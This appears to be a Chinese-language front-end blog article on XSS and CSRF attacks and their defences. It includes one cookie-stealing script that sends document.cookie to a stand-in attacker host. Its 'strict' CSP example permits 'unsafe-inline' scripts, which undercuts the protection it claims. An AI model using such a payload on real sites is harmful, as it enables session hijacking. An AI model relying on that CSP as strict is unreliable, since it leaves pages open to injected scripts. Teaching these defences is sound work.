前端码农

Appearance

Web 安全攻防深度解析：XSS 与 CSRF ​

跨站脚本攻击 (XSS) ​

本质与分类 ​

XSS (Cross-Site Scripting) 攻击通过在网页中注入恶意脚本，在用户浏览器中执行来实现攻击目的。

类型存储位置持久性攻击场景典型案例
反射型 XSSURL 参数非持久诱使用户点击恶意链接钓鱼邮件中的恶意链接
存储型 XSS服务器数据库/文件持久用户访问被篡改的页面论坛发帖注入恶意脚本

攻击原理与危害 ​

核心危害：

  1. 身份窃取：盗取用户会话Cookie
    js
    <script>
  fetch(`https://attacker.com/steal?cookie=${document.cookie}`)
</script>
  2. 钓鱼攻击：伪造登录表单窃取凭证
  3. 恶意软件传播：加载外部恶意资源
  4. 网站篡改：修改页面内容欺骗用户

高级防御策略 ​

1. 输入过滤与消毒 ​

js
function sanitizeInput(input) {
  return input
    .replace(/&/g, '&amp;')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#x27;');
}

// 使用示例
const userInput = '<script>alert(1)</script>';
const safeOutput = sanitizeInput(userInput);
// 输出: &lt;script&gt;alert(1)&lt;/script&gt;

2. 上下文感知输出编码 ​

上下文编码方式示例
HTML 内容HTML 实体编码< → &lt;
HTML 属性属性值编码" → &quot;
JavaScriptUnicode 转义' → \u0027
URLURL 编码& → %26
CSSCSS 转义; → \3B

3. 内容安全策略 (CSP) ​

html
<!-- 严格 CSP 策略示例 -->
<meta http-equiv="Content-Security-Policy" 
      content="default-src 'self'; 
               script-src 'self' 'unsafe-inline' https://trusted-cdn.com;
               img-src *;
               connect-src 'self';
               style-src 'self' 'unsafe-inline';
               frame-ancestors 'none'">

4. Cookie 安全加固 ​

js
// 安全 Cookie 设置
Set-Cookie: sessionId=abc123; 
  HttpOnly;   // 禁止 JavaScript 访问
  Secure;     // 仅通过 HTTPS 传输
  SameSite=Lax; // 限制跨站发送
  Path=/;
  Max-Age=3600;

跨站请求伪造 (CSRF) ​

攻击原理剖析 ​

mermaid
sequenceDiagram
    用户->>+银行网站: 登录（建立会话）
    用户->>+恶意网站: 访问（携带银行会话）
    恶意网站-->>银行网站: 伪造请求（转账操作）
    银行网站-->>-恶意网站: 执行操作
    恶意网站-->>-用户: 隐藏结果

高级防御策略 ​

1. CSRF Token 模式 ​

html
<!-- 表单中嵌入 Token -->
<form action="/transfer" method="POST">
  <input type="hidden" name="csrf_token" value="RANDOM_STRING">
  <!-- 其他表单字段 -->
</form>

<!-- 服务端验证 -->
app.post('/transfer', (req, res) => {
  if(req.body.csrf_token !== req.session.csrf_token) {
    return res.status(403).send('Invalid CSRF Token');
  }
  // 处理转账逻辑
});

2. 双重 Cookie 验证 ​

javascript
// 前端设置自定义Cookie
fetch('/api/csrf-cookie', {credentials: 'include'});

// 请求中携带自定义Header
fetch('/api/transfer', {
  method: 'POST',
  headers: {
    'X-CSRF-TOKEN': getCookie('XSRF-TOKEN')
  },
  body: JSON.stringify({...})
});

3. SameSite Cookie 策略 ​

策略跨站请求发送Cookie适用场景
Strict❌ 完全禁止敏感操作
Lax△ GET 允许 POST 禁止通用设置（默认）
None✅ 允许需要跨站功能

4. 验证码挑战 ​

html
<!-- 关键操作前要求验证码 -->
<form action="/delete-account" method="POST">
  <img src="/captcha" alt="验证码">
  <input type="text" name="captcha" required>
  <button type="submit">确认删除</button>
</form>

XSS 与 CSRF 综合对比 ​

特性XSSCSRF
攻击方向客户端 → 客户端第三方网站 → 目标网站
依赖条件需要注入点用户已登录目标站点
攻击载体恶意脚本伪造HTTP请求
防御重点输入输出处理请求来源验证
关键防御CSP、编码、HttpOnlyCSRF Token、SameSite Cookie
检测难度较高（多种变体）中等
危害范围广泛（数据、会话、客户端）特定操作（状态变更）

企业级防御最佳实践 ​

1. 自动化安全检测 ​

bash
# 使用 OWASP ZAP 进行自动化扫描
docker run -v $(pwd):/zap/wrk/:rw \
  -t owasp/zap2docker-stable zap-baseline.py \
  -t https://your-webapp.com \
  -g gen.conf \
  -r security-report.html

2. 深度防御策略 ​

plaintext
 应用层: 输入验证 + 输出编码
    ↑
 会话层: CSRF Token + SameSite Cookie
    ↑
 网络层: WAF + IDS/IPS
    ↑
 浏览器: CSP + 沙箱机制

3. 关键操作保护 ​

javascript
// 敏感操作二次认证
function confirmCriticalAction(action) {
  return fetch('/verify-password', {
    method: 'POST',
    body: JSON.stringify({password: prompt('请输入密码确认')})
  }).then(res => {
    if(res.ok) return performAction(action);
    throw new Error('验证失败');
  });
}

总结 ​

XSS 和 CSRF 是 Web 安全领域的核心威胁，防御需要分层策略：

  1. XSS 防御：以输出编码为核心，CSP 为防线，HttpOnly 为保险
  2. CSRF 防御：CSRF Token 为基础，SameSite Cookie 为补充，关键操作添加验证码
  3. 综合防护：结合 WAF、安全扫描、持续监控构建纵深防御体系

通过实施这些策略，可有效提升 Web 应用安全性，保护用户数据和业务资源。